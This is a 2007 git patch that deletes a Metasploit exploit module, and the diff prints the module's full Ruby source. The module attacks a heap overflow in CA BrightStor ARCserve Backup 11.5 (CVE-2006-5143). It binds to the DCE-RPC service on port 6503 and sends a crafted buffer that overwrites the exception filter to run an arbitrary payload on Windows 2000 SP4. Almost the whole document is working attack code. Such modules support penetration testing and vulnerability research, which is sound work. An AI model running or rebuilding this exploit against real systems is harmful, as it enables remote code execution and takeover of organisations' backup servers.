From 3b732cc4baa7f1e84c324750808ed3aac351ab70 Mon Sep 17 00:00:00 2001 From: Mario Ceballos Date: Thu, 15 Feb 2007 19:15:54 +0000 Subject: [PATCH] rm'd... git-svn-id: file:///home/svn/framework3/trunk@4391 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/brightstor/messege_engine_heap.rb | 73 ------------------- 1 file changed, 73 deletions(-) delete mode 100644 modules/exploits/windows/brightstor/messege_engine_heap.rb diff --git a/modules/exploits/windows/brightstor/messege_engine_heap.rb b/modules/exploits/windows/brightstor/messege_engine_heap.rb deleted file mode 100644 index d362037ea3..0000000000 --- a/modules/exploits/windows/brightstor/messege_engine_heap.rb +++ /dev/null @@ -1,73 +0,0 @@ -require 'msf/core' - -module Msf - -class Exploits::Windows::Brightstor::Messege_Engine_Heap < Msf::Exploit::Remote - - include Exploit::Remote::DCERPC - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'CA BrightStor ARCserve Messege Engine Heap Overflow', - 'Description' => %q{ - This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup - 11.5. By sending a specially crafted RPC request, an attacker could overflow the - buffer and execute arbitrary code. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'Version' => '$Revision: 3906 $', - 'References' => - [ - [ 'CVE', '2006-5143' ], - [ 'BID', '20365' ], - [ 'URL', 'http://www.lssec.com/advisories/LS-20060313.pdf' ], - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", - 'StackAdjustment' => -3500, - }, - 'Platform' => 'win', - 'Targets' => - [ - ['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ], - ], - 'DisclosureDate' => 'Oct 05 2006', - 'DefaultTarget' => 0)) - - register_options([ Opt::RPORT(6503) ], self.class) - end - - def exploit - connect - - handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) - print_status("Binding to #{handle} ...") - - dcerpc_bind(handle) - print_status("Bound to #{handle} ...") - - # straight forward heap stuffz - sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V') - sploit << [ target['UEF'] ].pack('V') + payload.encoded - - print_status("Trying target #{target.name}...") - - begin - dcerpc_call(43, sploit) - rescue Rex::Proto::DCERPC::Exceptions::NoResponse - end - - handler - disconnect - end - -end -end